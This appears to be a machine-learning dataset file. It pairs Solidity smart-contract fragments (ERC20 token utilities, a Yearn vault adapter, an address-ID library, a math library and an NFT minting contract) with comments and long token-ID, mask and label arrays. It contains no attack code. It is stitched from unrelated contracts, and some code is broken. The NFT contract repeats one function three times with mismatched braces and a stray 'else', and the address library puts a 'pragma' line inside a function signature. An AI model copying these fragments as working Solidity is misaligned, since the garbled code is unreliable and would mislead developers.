function management() external view returns (address); /// @notice View the guardian address of the Vault to assert privileged functions can only be called by guardian. The /// Strategy serves the Vault, so it is subject to guardian defined by the Vault. function guardian() external view returns (address); } pragma solidity ^0.8.11; import "../interfaces/IERC20Burnable.sol"; import "../interfaces/IERC20Metadata.sol"; import "../interfaces/IERC20Minimal.sol"; import "../interfaces/IERC20Mintable.sol"; /// @title TokenUtils /// @author Alchemix Finance library TokenUtils { /// @notice An error used to indicate that a call to an ERC20 contract failed. /// /// @param target The target address. /// @param success If the call to the token was a success. /// @param data The resulting data from the call. This is error data when the call was not a success. Otherwise, /// this is malformed data when the call was a success. error ERC20CallFailed(address target, bool success, bytes data); /// @dev A safe function to get the decimals of an ERC20 token. /// /// @dev Reverts with a {CallFailed} error if execution of the query fails or returns an unexpected value. /// /// @param token The target token. /// /// @return The amount of decimals of the token. function expectDecimals(address token) internal view returns (uint8) { (bool success, bytes memory data) = token.staticcall( abi.encodeWithSelector(IERC20Metadata.decimals.selector) ); if (!success || data.length < 32) { revert ERC20CallFailed(token, success, data); } return abi.decode(data, (uint8)); } /// @dev Gets the balance of tokens held by an account. /// /// @dev Reverts with a {CallFailed} error if execution of the query fails or returns an unexpected value. /// /// @param token The token to check the balance of. /// @param account The address of the token holder. /// /// @return The balance of the tokens held by an account. function safeBalanceOf(address token, address account) internal view returns (uint256) { (bool success, bytes memory data) = token.staticcall( abi.encodeWithSelector(IERC20Minimal.balanceOf.selector, account) ); if (!success || data.length < 32) { revert ERC20CallFailed(token, success, data); } return abi.decode(data, (uint256)); } /// @dev Transfers tokens to another address. /// /// @dev Reverts with a {CallFailed} error if execution of the transfer failed or returns an unexpected value. /// /// @param token The token to transfer. /// @param recipient The address of the recipient. /// @param amount The amount of tokens to transfer. function safeTransfer(address token, address recipient, uint256 amount) internal { (bool success, bytes memory data) = token.call( abi.encodeWithSelector(IERC20Minimal.transfer.selector, recipient, amount) ); if (!success || (data.length != 0 && !abi.decode(data, (bool)))) { revert ERC20CallFailed(token, success, data); } } /// @dev Approves tokens for the smart contract. /// /// @dev Reverts with a {CallFailed} error if execution of the approval fails or returns an unexpected value. /// /// @param token The token to approve. /// @param spender The contract to spend the tokens. /// @param value The amount of tokens to approve. function safeApprove(address token, address spender, uint256 value) internal { (bool success, bytes memory data) = token.call( abi.encodeWithSelector(IERC20Minimal.approve.selector, spender, value) ); if (!success || (data.length != 0 && !abi.decode(data, (bool)))) { revert ERC20CallFailed(token, success, data); } } /// @dev Transfer tokens from one address to another address. /// /// @dev Reverts with a {CallFailed} error if execution of the transfer fails or returns an unexpected value. /// /// @param token The token to transfer. /// @param owner The address of the owner. /// @param recipient The address of the recipient. /// @param amount The amount of tokens to transfer. function safeTransferFrom(address token, address owner, address recipient, uint256 amount) internal { (bool success, bytes memory data) = token.call( abi.encodeWithSelector(IERC20Minimal.transferFrom.selector, owner, recipient, amount) ); if (!success || (data.length != 0 && !abi.decode(data, (bool)))) { revert ERC20CallFailed(token, success, data); } } /// @dev Mints tokens to an address. /// /// @dev Reverts with a {CallFailed} error if execution of the mint fails or returns an unexpected value. /// /// @param token The token to mint. /// @param recipient The address of the recipient. /// @param amount The amount of tokens to mint. function safeMint(address token, address recipient, uint256 amount) internal { (bool success, bytes memory data) = token.call( abi.encodeWithSelector(IERC20Mintable.mint.selector, recipient, amount) ); if (!success || (data.length != 0 && !abi.decode(data, (bool)))) { revert ERC20CallFailed(token, success, data); } } /// @dev Burns tokens. /// /// Reverts with a `CallFailed` error if execution of the burn fails or returns an unexpected value. /// /// @param token The token to burn. /// @param amount The amount of tokens to burn. function safeBurn(address token, uint256 amount) internal { (bool success, bytes memory data) = token.call( abi.encodeWithSelector(IERC20Burnable.burn.selector, amount) ); if (!success || (data.length != 0 && !abi.decode(data, (bool)))) { revert ERC20CallFailed(token, success, data); } } /// @dev Burns tokens from its total supply. /// /// @dev Reverts with a {CallFailed} error if execution of the burn fails or returns an unexpected value. /// /// @param token The token to burn. /// @param owner The owner of the tokens. /// @param amount The amount of tokens to burn. function safeBurnFrom(address token, address owner, uint256 amount) internal { (bool success, bytes memory data) = token.call( abi.encodeWithSelector(IERC20Burnable.burnFrom.selector, owner, amount) ); if (!success || (data.length != 0 && !abi.decode(data, (bool)))) { revert ERC20CallFailed(token, success, data); } } } pragma solidity >=0.5.0; /// @title IERC20Minimal /// @author Alchemix Finance interface IERC20Minimal { /// @notice An event which is emitted when tokens are transferred between two parties. /// /// @param owner The owner of the tokens from which the tokens were transferred. /// @param recipient The recipient of the tokens to which the tokens were transferred. /// @param amount The amount of tokens which were transferred. event Transfer(address indexed owner, address indexed recipient, uint256 amount); /// @notice An event which is emitted when an approval is made. /// /// @param owner The address which made the approval. /// @param spender The address which is allowed to transfer tokens on behalf of `owner`. /// @param amount The amount of tokens that `spender` is allowed to transfer. event Approval(address indexed owner, address indexed spender, uint256 amount); /// @notice Gets the current total supply of tokens. /// /// @return The total supply. function totalSupply() external view returns (uint256); /// @notice Gets the balance of tokens that an account holds. /// /// @param account The account address. /// /// @return The balance of the account. function balanceOf(address account) external view returns (uint256); /// @notice Gets the allowance that an owner has allotted for a spender. /// /// @param owner The owner address. /// @param spender The spender address. /// /// @return The number of tokens that `spender` is allowed to transfer on behalf of `owner`. function allowance(address owner, address spender) external view returns (uint256); /// @notice Transfers `amount` tokens from `msg.sender` to `recipient`. /// /// @notice Emits a {Transfer} event. /// /// @param recipient The address which will receive the tokens. /// @param amount The amount of tokens to transfer. /// /// @return If the transfer was successful. function transfer(address recipient, uint256 amount) external returns (bool); /// @notice Approves `spender` to transfer `amount` tokens on behalf of `msg.sender`. /// /// @notice Emits a {Approval} event. /// /// @param spender The address which is allowed to transfer tokens on behalf of `msg.sender`. /// @param amount The amount of tokens that `spender` is allowed to transfer. /// /// @return If the approval was successful. function approve(address spender, uint256 amount) external returns (bool); /// @notice Transfers `amount` tokens from `owner` to `recipient` using an approval that `owner` gave to `msg.sender`. /// /// @notice Emits a {Approval} event. /// @notice Emits a {Transfer} event. /// /// @param owner The address to transfer tokens from. /// @param recipient The address that will receive the tokens. /// @param amount The amount of tokens to transfer. /// /// @return If the transfer was successful. function transferFrom(address owner, address recipient, uint256 amount) external returns (bool); } pragma solidity >=0.5.0; /// @title IERC20Metadata /// @author Alchemix Finance interface IERC20Metadata { /// @notice Gets the name of the token. /// /// @return The name. function name() external view returns (string memory); /// @notice Gets the symbol of the token. /// /// @return The symbol. function symbol() external view returns (string memory); /// @notice Gets the number of decimals that the token has. /// /// @return The number of decimals. function decimals() external view returns (uint8); } pragma solidity >=0.5.0; import "./IERC20Minimal.sol"; /// @title IERC20Burnable /// @author Alchemix Finance interface IERC20Burnable is IERC20Minimal { /// @notice Burns `amount` tokens from the balance of `msg.sender`. /// /// @param amount The amount of tokens to burn. /// /// @return If burning the tokens was successful. function burn(uint256 amount) external returns (bool); /// @notice Burns `amount` tokens from `owner`'s balance. /// /// @param owner The address to burn tokens from. /// @param amount The amount of tokens to burn. /// /// @return If burning the tokens was successful. function burnFrom(address owner, uint256 amount) external returns (bool); } pragma solidity >=0.5.0; import "./IERC20Minimal.sol"; /// @title IERC20Mintable /// @author Alchemix Finance interface IERC20Mintable is IERC20Minimal { /// @notice Mints `amount` tokens to `recipient`. /// /// @param recipient The address which will receive the minted tokens. /// @param amount The amount of tokens to mint. /// /// @return If minting the tokens was successful. function mint(address recipient, uint256 amount) external returns (bool); }
@inheritdoc ITokenAdapter If the Yearn vault did not burn all of the shares then revert. This is critical in mathematical operations performed by the system because the system always expects that all of the tokens were unwrapped. In Yearn, this sometimes does not happen in cases where strategies cannot withdraw all of the requested tokens (an example strategy where this can occur is with Compound and AAVE where funds may not be accessible because they were lent out).
function unwrap(uint256 amount, address recipient) external override returns (uint256) { TokenUtils.safeTransferFrom(token, msg.sender, address(this), amount); uint256 balanceBefore = TokenUtils.safeBalanceOf(token, address(this)); uint256 amountWithdrawn = IYearnVaultV2(token).withdraw(amount, recipient, MAXIMUM_SLIPPAGE); uint256 balanceAfter = TokenUtils.safeBalanceOf(token, address(this)); if (balanceBefore - balanceAfter != amount) { revert IllegalState(); } return amountWithdrawn; }
12,218,910
[ 1, 36, 10093, 467, 1345, 4216, 971, 326, 1624, 73, 1303, 9229, 5061, 486, 18305, 777, 434, 326, 24123, 1508, 15226, 18, 1220, 353, 11239, 316, 4233, 351, 270, 1706, 5295, 9591, 635, 326, 2619, 2724, 326, 2619, 3712, 10999, 716, 777, 434, 326, 2430, 4591, 26917, 18, 657, 1624, 73, 1303, 16, 333, 16594, 1552, 486, 5865, 316, 6088, 1625, 20417, 2780, 598, 9446, 777, 434, 326, 3764, 2430, 261, 304, 3454, 6252, 1625, 333, 848, 3334, 353, 598, 21327, 471, 432, 26714, 1625, 284, 19156, 2026, 486, 506, 12718, 2724, 2898, 4591, 328, 319, 596, 2934, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 11014, 12, 11890, 5034, 3844, 16, 1758, 8027, 13, 3903, 3849, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 3155, 1989, 18, 4626, 5912, 1265, 12, 2316, 16, 1234, 18, 15330, 16, 1758, 12, 2211, 3631, 3844, 1769, 203, 203, 3639, 2254, 5034, 11013, 4649, 273, 3155, 1989, 18, 4626, 13937, 951, 12, 2316, 16, 1758, 12, 2211, 10019, 203, 203, 3639, 2254, 5034, 3844, 1190, 9446, 82, 273, 467, 61, 73, 1303, 12003, 58, 22, 12, 2316, 2934, 1918, 9446, 12, 8949, 16, 8027, 16, 4552, 18605, 67, 55, 2053, 6584, 2833, 1769, 203, 203, 3639, 2254, 5034, 11013, 4436, 273, 3155, 1989, 18, 4626, 13937, 951, 12, 2316, 16, 1758, 12, 2211, 10019, 203, 203, 3639, 309, 261, 12296, 4649, 300, 11013, 4436, 480, 3844, 13, 288, 203, 5411, 15226, 2141, 1119, 5621, 203, 3639, 289, 203, 203, 3639, 327, 3844, 1190, 9446, 82, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x897E82b67E580E5fC904Bc3a29ed19E290483AC0/sources/contracts/artist/common/AuctionHouse.sol
max number of tokens per allowlist mint
uint256 public allowlistMintMax;
8,352,007
[ 1, 1896, 1300, 434, 2430, 1534, 1699, 1098, 312, 474, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 1071, 1699, 1098, 49, 474, 2747, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/8453/0xf9cFB8a62f50e10AdDE5Aa888B44cF01C5957055/sources/contracts/libraries/helpers/AddressId.sol
1000 -> 1999 Vault Related Address
library AddressId { uint256 constant ADDRESS_ID_WETH9 = 1; uint256 constant ADDRESS_ID_UNI_V3_FACTORY = 2; uint256 constant ADDRESS_ID_UNI_V3_NONFUNGIBLE_POSITION_MANAGER = 3; uint256 constant ADDRESS_ID_UNI_V3_SWAP_ROUTER = 4; uint256 constant ADDRESS_ID_VELO_ROUTER = 5; uint256 constant ADDRESS_ID_VELO_FACTORY = 6; uint256 constant ADDRESS_ID_VAULT_POSITION_MANAGER = 7; uint256 constant ADDRESS_ID_SWAP_EXECUTOR_MANAGER = 8; uint256 constant ADDRESS_ID_LENDING_POOL = 9; uint256 constant ADDRESS_ID_VAULT_FACTORY = 10; uint256 constant ADDRESS_ID_TREASURY = 11; uint256 constant ADDRESS_ID_VE_TOKEN = 12; uint256 constant ADDRESS_ID_VELO_ROUTER_V2 = 13; uint256 constant ADDRESS_ID_VELO_FACTORY_V2 = 14; uint256 constant ADDRESS_ID_VAULT_DEPLOYER_SELECTOR = 101; uint256 constant ADDRESS_ID_VELO_VAULT_INITIALIZER = 102; uint256 constant ADDRESS_ID_VELO_VAULT_POSITION_LOGIC = 103; uint256 constant ADDRESS_ID_VELO_VAULT_REWARDS_LOGIC = 104; uint256 constant ADDRESS_ID_VELO_VAULT_OWNER_ACTIONS = 105; uint256 constant ADDRESS_ID_VELO_SWAP_PATH_MANAGER = 106; uint256 constant ADDRESS_ID_CHAINLINK_ORACLE = 107; uint256 constant ADDRESS_ID_VAULT_DEPLOYER = 1001; uint256 constant ADDRESS_ID_VAULT_INITIALIZER = 1002; uint256 constant ADDRESS_ID_VAULT_POSITION_LOGIC = 1003; uint256 constant ADDRESS_ID_VAULT_REWARDS_LOGIC = 1004; uint256 constant ADDRESS_ID_VAULT_OWNER_ACTIONS = 1005; function versionedAddressId( uint16 vaultVersion, uint256 addressId pragma solidity ^0.8.0; ) internal pure returns (uint256) { if (addressId < 1000) { return addressId; } return (uint256(vaultVersion) << 128) | addressId; } ) internal pure returns (uint256) { if (addressId < 1000) { return addressId; } return (uint256(vaultVersion) << 128) | addressId; } }
11,549,312
[ 1, 18088, 317, 404, 11984, 17329, 23892, 5267, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 12083, 5267, 548, 288, 203, 565, 2254, 5034, 5381, 11689, 10203, 67, 734, 67, 59, 1584, 44, 29, 273, 404, 31, 203, 565, 2254, 5034, 5381, 11689, 10203, 67, 734, 67, 10377, 67, 58, 23, 67, 16193, 273, 576, 31, 203, 565, 2254, 5034, 5381, 11689, 10203, 67, 734, 67, 10377, 67, 58, 23, 67, 3993, 42, 2124, 43, 13450, 900, 67, 15258, 67, 19402, 273, 890, 31, 203, 565, 2254, 5034, 5381, 11689, 10203, 67, 734, 67, 10377, 67, 58, 23, 67, 18746, 2203, 67, 1457, 1693, 654, 273, 1059, 31, 203, 565, 2254, 5034, 5381, 11689, 10203, 67, 734, 67, 24397, 67, 1457, 1693, 654, 273, 1381, 31, 203, 565, 2254, 5034, 5381, 11689, 10203, 67, 734, 67, 24397, 67, 16193, 273, 1666, 31, 203, 565, 2254, 5034, 5381, 11689, 10203, 67, 734, 67, 27722, 2274, 67, 15258, 67, 19402, 273, 2371, 31, 203, 565, 2254, 5034, 5381, 11689, 10203, 67, 734, 67, 18746, 2203, 67, 15271, 1693, 916, 67, 19402, 273, 1725, 31, 203, 565, 2254, 5034, 5381, 11689, 10203, 67, 734, 67, 900, 2908, 1360, 67, 20339, 273, 2468, 31, 203, 565, 2254, 5034, 5381, 11689, 10203, 67, 734, 67, 27722, 2274, 67, 16193, 273, 1728, 31, 203, 565, 2254, 5034, 5381, 11689, 10203, 67, 734, 67, 56, 862, 3033, 1099, 61, 273, 4648, 31, 203, 565, 2254, 5034, 5381, 11689, 10203, 67, 734, 67, 3412, 67, 8412, 273, 2593, 31, 203, 203, 565, 2254, 5034, 5381, 11689, 10203, 67, 734, 67, 24397, 67, 1457, 1693, 654, 67, 58, 22, 2 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.8.0; import "./SafeMath.sol"; // Based on Liquity's OrumMath library: https://github.com/liquity/dev/blob/main/packages/contracts/contracts/Dependencies/OrumMath.sol library OrumMath { using SafeMath for uint; uint internal constant DECIMAL_PRECISION = 1e18; /* Precision for Nominal ICR (independent of price). Rationale for the value: * * - Making it "too high" could lead to overflows. * - Making it "too low" could lead to an ICR equal to zero, due to truncation from Solidity floor division. * * This value of 1e20 is chosen for safety: the NICR will only overflow for numerator > ~1e39 ROSE, * and will only truncate to 0 if the denominator is at least 1e20 times greater than the numerator. * */ uint internal constant NICR_PRECISION = 1e20; function _min(uint _a, uint _b) internal pure returns (uint) { return (_a < _b) ? _a : _b; } function _max(int _a, int _b) internal pure returns (uint) { return (_a >= _b) ? uint(_a) : uint(_b); } /* * Multiply two decimal numbers and use normal rounding rules * - round product up if 19'th mantissa digit >= 5 * - round product down if 19'th mantissa digit < 5 * * Used only inside exponentiation, _decPow(). */ function decMul(uint x, uint y) internal pure returns (uint decProd) { uint prod_xy = x.mul(y); decProd = prod_xy.add(DECIMAL_PRECISION/2).div(DECIMAL_PRECISION); } function _decPow(uint _base, uint _minutes) internal pure returns (uint) { if (_minutes > 525600000) {_minutes = 525600000;} // cap to avoid overflow if (_minutes == 0) {return DECIMAL_PRECISION;} uint y = DECIMAL_PRECISION; uint x = _base; uint n = _minutes; // Exponentiation-by-squaring while (n > 1) { if (n % 2 == 0) { x = decMul(x, x); n = n.div(2); } else { // if (n % 2 != 0) y = decMul(x, y); x = decMul(x, x); n = (n.sub(1)).div(2); } } return decMul(x, y); } function _getAbsoluteDifference(uint _a, uint _b) internal pure returns (uint) { return (_a >= _b) ? _a.sub(_b) : _b.sub(_a); } function _computeNominalCR(uint _coll, uint _debt) internal pure returns (uint) { if (_debt > 0) { return _coll.mul(NICR_PRECISION).div(_debt); } // Return the maximal value for uint256 if the Vault has a debt of 0. Represents "infinite" CR. else { // if (_debt == 0) return 2**256 - 1; } } function _computeCR(uint _coll, uint _debt, uint _price) internal pure returns (uint) { if (_debt > 0) { uint newCollRatio = _coll.mul(_price).div(_debt); return newCollRatio; } // Return the maximal value for uint256 if the Vault has a debt of 0. Represents "infinite" CR. else { // if (_debt == 0) return 2**256 - 1; } } }
Precision for Nominal ICR (independent of price). Rationale for the value: - Making it "too high" could lead to overflows. - Making it "too low" could lead to an ICR equal to zero, due to truncation from Solidity floor division. This value of 1e20 is chosen for safety: the NICR will only overflow for numerator > ~1e39 ROSE, and will only truncate to 0 if the denominator is at least 1e20 times greater than the numerator./
function _min(uint _a, uint _b) internal pure returns (uint) { return (_a < _b) ? _a : _b; }
5,500,565
[ 1, 15410, 364, 423, 362, 1490, 467, 5093, 261, 267, 10891, 434, 6205, 2934, 534, 367, 5349, 364, 326, 460, 30, 300, 490, 6159, 518, 315, 16431, 3551, 6, 3377, 5871, 358, 9391, 87, 18, 300, 490, 6159, 518, 315, 16431, 4587, 6, 3377, 5871, 358, 392, 467, 5093, 3959, 358, 3634, 16, 6541, 358, 31507, 628, 348, 7953, 560, 6346, 16536, 18, 1220, 460, 434, 404, 73, 3462, 353, 10447, 364, 24179, 30, 326, 423, 2871, 54, 903, 1338, 9391, 364, 16730, 405, 4871, 21, 73, 5520, 6525, 1090, 16, 471, 903, 1338, 10310, 358, 374, 309, 326, 15030, 353, 622, 4520, 404, 73, 3462, 4124, 6802, 2353, 326, 16730, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 1154, 12, 11890, 389, 69, 16, 2254, 389, 70, 13, 2713, 16618, 1135, 261, 11890, 13, 288, 203, 3639, 327, 261, 67, 69, 411, 389, 70, 13, 692, 389, 69, 294, 389, 70, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0xd7E724a592b9b3bCF82E287731131598ba3882A1/sources/main/PamperedPugs.sol
pragma abicoder v2; Reserve 1 Pugss for team - Giveaways/Prizes etc
contract PamperedPugs is ERC721, Ownable { using SafeMath for uint256; uint public constant maxPugsPurchase = 2; uint256 public constant MAX_PUGS = 345; bool public saleIsActive = false; mapping (address => bool) private whitelist; mapping (address => bool) private salelist; mapping (uint32 => bool) private mintedlist; bytes32 public root; uint public pugsReserve = 15; event pugsNameChange(address _by, uint _tokenId, string _name); event licenseisLocked(string _licenseText); constructor() ERC721("PugsNFT", "PamperedPugs") {} function withdraw() public onlyOwner { _withdraw(msg.sender); } function appendToWhitelist(address _to) public onlyOwner { require(!whitelist[_to], "Already registered account."); whitelist[_to] = true; _appendToWhitelist(_to); } function flipWhitelistState() public onlyOwner { isWhitelistActive = !isWhitelistActive; } function reservePugs(address _to, uint32 _reserveId) public onlyOwner { require(pugsReserve > 0, "Not enough reserve left for team"); require(_reserveId >= 0 && _reserveId < MAX_PUGS, "Not enable reserve index"); require(!mintedlist[_reserveId], "Already used index"); _safeMint(_to, _reserveId); mintedlist[_reserveId] = true; pugsReserve = pugsReserve.sub(1); } function setBaseURI(string memory baseURI) public onlyOwner { _setBaseURI(baseURI); } function setBlurURI(string memory blurURI) public onlyOwner { _setBlurURI(blurURI); } function flipSaleState() public onlyOwner { saleIsActive = !saleIsActive; } function tokensOfOwner(address _owner) external view returns(uint256[] memory ) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { return new uint256[](0); uint256[] memory result = new uint256[](tokenCount); uint256 index; for (index = 0; index < tokenCount; index++) { result[index] = tokenOfOwnerByIndex(_owner, index); } return result; } } function tokensOfOwner(address _owner) external view returns(uint256[] memory ) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { return new uint256[](0); uint256[] memory result = new uint256[](tokenCount); uint256 index; for (index = 0; index < tokenCount; index++) { result[index] = tokenOfOwnerByIndex(_owner, index); } return result; } } } else { function tokensOfOwner(address _owner) external view returns(uint256[] memory ) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { return new uint256[](0); uint256[] memory result = new uint256[](tokenCount); uint256 index; for (index = 0; index < tokenCount; index++) { result[index] = tokenOfOwnerByIndex(_owner, index); } return result; } } function tokenLicense(uint _id) public view returns(string memory) { require(_id < totalSupply(), "CHOOSE A PUGS WITHIN RANGE"); return LICENSE_TEXT; } function 